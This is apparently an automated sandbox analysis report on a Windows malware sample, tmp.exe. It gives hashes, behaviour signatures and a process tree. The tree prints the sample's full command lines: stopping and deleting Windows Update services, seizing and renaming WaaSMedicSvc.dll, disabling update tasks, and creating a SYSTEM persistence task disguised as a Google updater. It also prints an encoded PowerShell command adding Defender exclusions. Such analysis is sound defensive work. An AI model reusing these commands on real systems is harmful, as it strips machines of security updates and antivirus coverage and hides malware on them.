Analysis
-
max time kernel
120s -
max time network
47s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
31-10-2022 13:52
Static task
static1
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20220901-en
General
-
Target
tmp.exe
-
Size
1.8MB
-
MD5
6691c3106d5319f108114a48f5177396
-
SHA1
1ce92f03b5e7bd1c1d591141693f6e0261f3afee
-
SHA256
375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
-
SHA512
19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
SSDEEP
49152:+1rLSuOMv2pORqIwpn3AcRs3gzAiYSWTqP7:K3O02WyDQDDTqP
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 276 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 1312 takeown.exe 976 icacls.exe 976 takeown.exe 1564 icacls.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 556 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 1564 icacls.exe 1312 takeown.exe 976 icacls.exe 976 takeown.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Program Files directory 2 IoCs
Processes:
tmp.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe tmp.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe tmp.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1144 sc.exe 1324 sc.exe 1788 sc.exe 1552 sc.exe 1516 sc.exe 1568 sc.exe 1612 sc.exe 824 sc.exe 996 sc.exe 1956 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 5 IoCs
Processes:
powershell.exeupdater.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0a6f52630edd801 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ updater.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" updater.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" updater.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1316 reg.exe 2032 reg.exe 1528 reg.exe 432 reg.exe 1684 reg.exe 1100 reg.exe 1240 reg.exe 1548 reg.exe 1816 reg.exe 1744 reg.exe 1752 reg.exe 1592 reg.exe 1524 reg.exe 1204 reg.exe 1164 reg.exe 932 reg.exe 2028 reg.exe 1132 reg.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exetmp.exepowershell.exeupdater.exepid process 2036 powershell.exe 1700 tmp.exe 860 powershell.exe 276 updater.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exetmp.exetakeown.exepowershell.exeupdater.exetakeown.exedescription pid process Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 1700 tmp.exe Token: SeTakeOwnershipPrivilege 1312 takeown.exe Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 276 updater.exe Token: SeTakeOwnershipPrivilege 976 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
tmp.execmd.execmd.execmd.exetaskeng.exedescription pid process target process PID 1700 wrote to memory of 2036 1700 tmp.exe powershell.exe PID 1700 wrote to memory of 2036 1700 tmp.exe powershell.exe PID 1700 wrote to memory of 2036 1700 tmp.exe powershell.exe PID 1700 wrote to memory of 1636 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 1636 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 1636 1700 tmp.exe cmd.exe PID 1636 wrote to memory of 1788 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1788 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1788 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1612 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1612 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1612 1636 cmd.exe sc.exe PID 1636 wrote to memory of 824 1636 cmd.exe sc.exe PID 1636 wrote to memory of 824 1636 cmd.exe sc.exe PID 1636 wrote to memory of 824 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1552 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1552 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1552 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1516 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1516 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1516 1636 cmd.exe sc.exe PID 1636 wrote to memory of 1524 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1524 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1524 1636 cmd.exe reg.exe PID 1636 wrote to memory of 932 1636 cmd.exe reg.exe PID 1636 wrote to memory of 932 1636 cmd.exe reg.exe PID 1636 wrote to memory of 932 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1744 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1744 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1744 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1684 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1684 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1684 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1752 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1752 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1752 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1312 1636 cmd.exe takeown.exe PID 1636 wrote to memory of 1312 1636 cmd.exe takeown.exe PID 1636 wrote to memory of 1312 1636 cmd.exe takeown.exe PID 1636 wrote to memory of 976 1636 cmd.exe icacls.exe PID 1636 wrote to memory of 976 1636 cmd.exe icacls.exe PID 1636 wrote to memory of 976 1636 cmd.exe icacls.exe PID 1700 wrote to memory of 960 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 960 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 960 1700 tmp.exe cmd.exe PID 960 wrote to memory of 1404 960 cmd.exe schtasks.exe PID 960 wrote to memory of 1404 960 cmd.exe schtasks.exe PID 960 wrote to memory of 1404 960 cmd.exe schtasks.exe PID 1700 wrote to memory of 1144 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 1144 1700 tmp.exe cmd.exe PID 1700 wrote to memory of 1144 1700 tmp.exe cmd.exe PID 1144 wrote to memory of 1872 1144 cmd.exe schtasks.exe PID 1144 wrote to memory of 1872 1144 cmd.exe schtasks.exe PID 1144 wrote to memory of 1872 1144 cmd.exe schtasks.exe PID 1636 wrote to memory of 2028 1636 cmd.exe reg.exe PID 1636 wrote to memory of 2028 1636 cmd.exe reg.exe PID 1636 wrote to memory of 2028 1636 cmd.exe reg.exe PID 556 wrote to memory of 276 556 taskeng.exe updater.exe PID 556 wrote to memory of 276 556 taskeng.exe updater.exe PID 556 wrote to memory of 276 556 taskeng.exe updater.exe PID 1636 wrote to memory of 1592 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1592 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1592 1636 cmd.exe reg.exe PID 1636 wrote to memory of 1548 1636 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {1018BD6A-7E61-4E53-B20F-437050FE9901} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "bdapyxxyq"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
1.8MB
MD56691c3106d5319f108114a48f5177396
SHA11ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA51219860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
C:\Program Files\Google\Chrome\updater.exeFilesize
1.8MB
MD56691c3106d5319f108114a48f5177396
SHA11ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA51219860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
\Program Files\Google\Chrome\updater.exeFilesize
1.8MB
MD56691c3106d5319f108114a48f5177396
SHA11ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA51219860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
memory/276-113-0x0000000000A60000-0x0000000000A66000-memory.dmpFilesize
24KB
-
memory/276-83-0x0000000000000000-mapping.dmp
-
memory/276-87-0x000000013FA50000-0x000000013FC2E000-memory.dmpFilesize
1.9MB
-
memory/432-117-0x0000000000000000-mapping.dmp
-
memory/824-67-0x0000000000000000-mapping.dmp
-
memory/860-96-0x000007FEEC450000-0x000007FEECFAD000-memory.dmpFilesize
11.4MB
-
memory/860-91-0x0000000000000000-mapping.dmp
-
memory/860-95-0x000007FEECFB0000-0x000007FEED9D3000-memory.dmpFilesize
10.1MB
-
memory/892-120-0x0000000000000000-mapping.dmp
-
memory/932-71-0x0000000000000000-mapping.dmp
-
memory/960-77-0x0000000000000000-mapping.dmp
-
memory/976-114-0x0000000000000000-mapping.dmp
-
memory/976-76-0x0000000000000000-mapping.dmp
-
memory/996-104-0x0000000000000000-mapping.dmp
-
memory/1000-100-0x0000000000000000-mapping.dmp
-
memory/1100-90-0x0000000000000000-mapping.dmp
-
memory/1132-108-0x0000000000000000-mapping.dmp
-
memory/1144-107-0x0000000000000000-mapping.dmp
-
memory/1144-79-0x0000000000000000-mapping.dmp
-
memory/1164-118-0x0000000000000000-mapping.dmp
-
memory/1204-112-0x0000000000000000-mapping.dmp
-
memory/1240-109-0x0000000000000000-mapping.dmp
-
memory/1312-75-0x0000000000000000-mapping.dmp
-
memory/1312-102-0x0000000000000000-mapping.dmp
-
memory/1316-110-0x0000000000000000-mapping.dmp
-
memory/1324-106-0x0000000000000000-mapping.dmp
-
memory/1396-97-0x0000000000000000-mapping.dmp
-
memory/1396-123-0x0000000000000000-mapping.dmp
-
memory/1404-78-0x0000000000000000-mapping.dmp
-
memory/1516-69-0x0000000000000000-mapping.dmp
-
memory/1524-99-0x0000000000000000-mapping.dmp
-
memory/1524-70-0x0000000000000000-mapping.dmp
-
memory/1524-125-0x0000000000000000-mapping.dmp
-
memory/1528-116-0x0000000000000000-mapping.dmp
-
memory/1548-88-0x0000000000000000-mapping.dmp
-
memory/1552-68-0x0000000000000000-mapping.dmp
-
memory/1564-115-0x0000000000000000-mapping.dmp
-
memory/1568-103-0x0000000000000000-mapping.dmp
-
memory/1592-85-0x0000000000000000-mapping.dmp
-
memory/1612-66-0x0000000000000000-mapping.dmp
-
memory/1628-93-0x0000000000000000-mapping.dmp
-
memory/1628-121-0x0000000000000000-mapping.dmp
-
memory/1636-64-0x0000000000000000-mapping.dmp
-
memory/1684-73-0x0000000000000000-mapping.dmp
-
memory/1684-101-0x0000000000000000-mapping.dmp
-
memory/1692-94-0x0000000000000000-mapping.dmp
-
memory/1692-122-0x0000000000000000-mapping.dmp
-
memory/1700-54-0x000000013FDF0000-0x000000013FFCE000-memory.dmpFilesize
1.9MB
-
memory/1700-55-0x000007FEFC611000-0x000007FEFC613000-memory.dmpFilesize
8KB
-
memory/1728-127-0x0000000000060000-0x0000000000067000-memory.dmpFilesize
28KB
-
memory/1728-129-0x0000000000000000-mapping.dmp
-
memory/1728-130-0x0000000000060000-0x0000000000067000-memory.dmpFilesize
28KB
-
memory/1728-131-0x00000000007E0000-0x00000000007E6000-memory.dmpFilesize
24KB
-
memory/1744-72-0x0000000000000000-mapping.dmp
-
memory/1752-74-0x0000000000000000-mapping.dmp
-
memory/1772-98-0x0000000000000000-mapping.dmp
-
memory/1772-124-0x0000000000000000-mapping.dmp
-
memory/1788-65-0x0000000000000000-mapping.dmp
-
memory/1816-119-0x0000000000000000-mapping.dmp
-
memory/1860-126-0x0000000000000000-mapping.dmp
-
memory/1872-80-0x0000000000000000-mapping.dmp
-
memory/1956-105-0x0000000000000000-mapping.dmp
-
memory/2028-81-0x0000000000000000-mapping.dmp
-
memory/2032-111-0x0000000000000000-mapping.dmp
-
memory/2036-63-0x00000000024AB000-0x00000000024CA000-memory.dmpFilesize
124KB
-
memory/2036-58-0x000007FEEE3A0000-0x000007FEEEDC3000-memory.dmpFilesize
10.1MB
-
memory/2036-56-0x0000000000000000-mapping.dmp
-
memory/2036-59-0x000007FEED840000-0x000007FEEE39D000-memory.dmpFilesize
11.4MB
-
memory/2036-60-0x00000000024A4000-0x00000000024A7000-memory.dmpFilesize
12KB
-
memory/2036-62-0x00000000024A4000-0x00000000024A7000-memory.dmpFilesize
12KB
-
memory/2036-61-0x000000001B750000-0x000000001BA4F000-memory.dmpFilesize
3.0MB